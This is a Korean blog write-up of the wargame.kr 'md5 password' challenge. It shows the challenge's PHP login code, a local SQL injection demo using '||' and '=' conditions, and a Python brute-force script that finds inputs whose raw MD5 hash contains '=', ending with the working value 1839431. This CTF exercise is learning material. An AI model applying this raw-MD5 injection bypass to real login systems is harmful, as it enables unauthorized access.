[wargame.kr] md5 password 문제풀이

[wargame.kr] md5 password 문제풀이

안녕하세요.

오늘은 wargame.kr이라는 사이트의 md5 password문제를 풀어보려고 합니다.

웹 해킹 md5 password 문제풀이 [208점]

문제 제목은 위에 쓰여있듯이 md5 password입니다.

일단 start를 눌러서 시작해보겠습니다.

start를 눌러보니 password를 입력하라는 텍스트 박스가 보이네요.

밑에 get source가 있는데 일단 아무거나 입력해볼게요.

흠.. 틀렸다네요. 찍기 실패했습니다.

그럼 이번에는 get source코드를 눌러서 코드를 확인해보겠습니다.

대충 아래와 같은 코드가 있네요.

<?php
 if (isset($_GET['view-source'])) {
  show_source(__FILE__);
  exit();
 }

 if(isset($_POST['ps'])){
  sleep(1);
  mysql_connect("localhost","md5_password","md5_password_pz");
  mysql_select_db("md5_password");
  mysql_query("set names utf8");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  include "../lib.php"; // include for auth_code function.
  $key=auth_code("md5 password");
  $ps = mysql_real_escape_string($_POST['ps']);
  $row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "Password : ".$key;
  }else{
   echo "wrong..";
  }
 }
?>
<style>
 input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>

일단 맨 위에 if문은 소스코드 보는 부분에 관한 내용인것 같으니 패스.

아래 if문을 보니 mysql에 접속해서 md5_password db에 접속하는 내용 같네요.

일단 이 문제를 푸는데 이 부분도 필요 없어 보입니다.

더 아래로 내려가 보겠습니다.

대충 살펴보니 select * from admin_password where password='".md5($ps,true)."'"));부분이 눈에 띄는군요.

대충 이 부분을 보니 admin_password테이블에 password='내용'을 제출하는 것 같네요.

sql injection? 

역시 이 문제는 sql injection으로 해결하는 문제 같네요.

but. sql injection이 뭔가 이해가 잘 되지 않아서 비슷하게 만들어서 한번 해봤습니다.

(대충 어떻게 하는지는 알고 있습니다. 이해가 잘 안 될 뿐...)

1
2
3
4
5
6
7
8
9
10
11
CREATE TABLE `sql_injection` (
  `id` int(11NOT NULL AUTO_INCREMENT,
  `description` text NOT NULL,
  `type` enum('public','private'NOT NULL,
  PRIMARY KEY (`id`)
ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;
 
INSERT INTO `sql_injection` VALUES (1'public 1''public');
INSERT INTO `sql_injection` VALUES (2'public 2''public');
INSERT INTO `sql_injection` VALUES (3'private 3''private');
INSERT INTO `sql_injection` VALUES (4'private 4''private');
cs

이렇게 테이블을 만들고 데이터를 추가해줬습니다.

login데이터베이스에 추가해줬습니다.(아래 상태에서 위의 코드 복사 붙여 넣기.)

그래서 이렇게 테이블이 추가가 되었습니다.

이제 sql injection을 해보겠습니다.

현재 데이터베이스에 이렇게 데이터가 있습니다.

여기서 '||'이나 '=' 형식의 조건문을 넣어보겠습니다.

(아래 사진을 참고, sql injection의 자세한 것은 검색하세요.)

모든 값이 출력됩니다.

type='asdf'||'8' 이런 식으로 하거나 type='asdf'='dfdf' 이런식으로 하면 md5 password도 해결될 겁니다.

...더보기

단, or을 사용하면 뒤에 숫자가 있어야 됩니다.

type='asdf'||'a8'  <--안됩니다.

type='asdf'||'a'   <--안됩니다.

type='asdf'||'8a'  <--됩니다.

type='asdf'||'8'    <--됩니다.

하지만 이 문제는 한 가지 문제가 더 있습니다. 바로 md5입니다.

md5 해시

이 부분에 있는 md5($ps, true)때문에 sql injection만 알아서는 문제를 풀 수 없습니다.

그래서 md5()를 검색해봤습니다.

찾아보니 string md5(string $str[,bool $raw_output=false])로 나오네요.

$str=해쉬값을 구할 문자열.

$raw_output true로 설정하면 결과값이 16자리가 되고, 설정하지 않으면 false로 설정되며 32자리가 됩니다.

브루트포스

그래서 결국 문제를 풀기 위해서 md5에서 리턴한 값이 '||'숫자 이거나 '=' 가 나와야 한다는 겁니다.

그래서 파이썬으로 md5로 해시를 했을 때의 리턴 값에 '='가 있다면 해시하기전 숫자를 출력하는 프로그램을 작성했습니다.

(273D27은 아스키코드로 '='입니다.)

import hashlib
for passwd in range(0,1111111111111111):
     md5_hash = hashlib.md5(str(passwd).encode("utf-8")).hexdigest()
     if '273d27' in md5_hash:
         print(passwd)

이렇게 해서 돌려보니 여러 개가 나오네요.(그냥 중간에 ctrl+c로 중단했습니다.)

아래 나온 숫자-> md5해시 -> 273d27 포함 이렇게 되는 겁니다.

그래서 이제 이 숫자들을 넣어보겠습니다.

but. 모든 수가 정답은 아닙니다. 문자열에 273d27이 있으면 출력하는 코드인데 227273dd 이런 식으로 나오면 '='가 성립하지 않기 때문입니다. (맨 아래 추가부분의 글을 참고해주세요.)

1839431을 넣으니 문제가 풀렸습니다.

추가

파이썬으로 돌려서 273d27이 포함되어 출력되었지만 정답이 아니었던 숫자들입니다.

1257444 = 287e2e849c8ba349f273d275592ac3cb

1589500 = 880c1c39d21d1d1b2979a853d273d27e

나중에 아스키코드로 바꿔보면 이해가 될 겁니다.

import hashlib
#print(hashlib.md5("1257444".encode("utf-8")).digest())
print(hashlib.md5("1589500".encode("utf-8")).hexdigest())
for passwd in range(0,1111111111111111):
     md5_hash = hashlib.md5(str(passwd).encode("utf-8")).hexdigest()
     if '273d27' in md5_hash:
         print(passwd)

뭔가 설명은 제대로 못한 것 같은데 제 공부는 그냥 공부할 때보다 재미있고 잘되네요. ㅋㅋㅋㅋㅋㅋ

아스키를 문자로.py
0.00MB
hash.py
0.00MB

Designed by JB FACTORY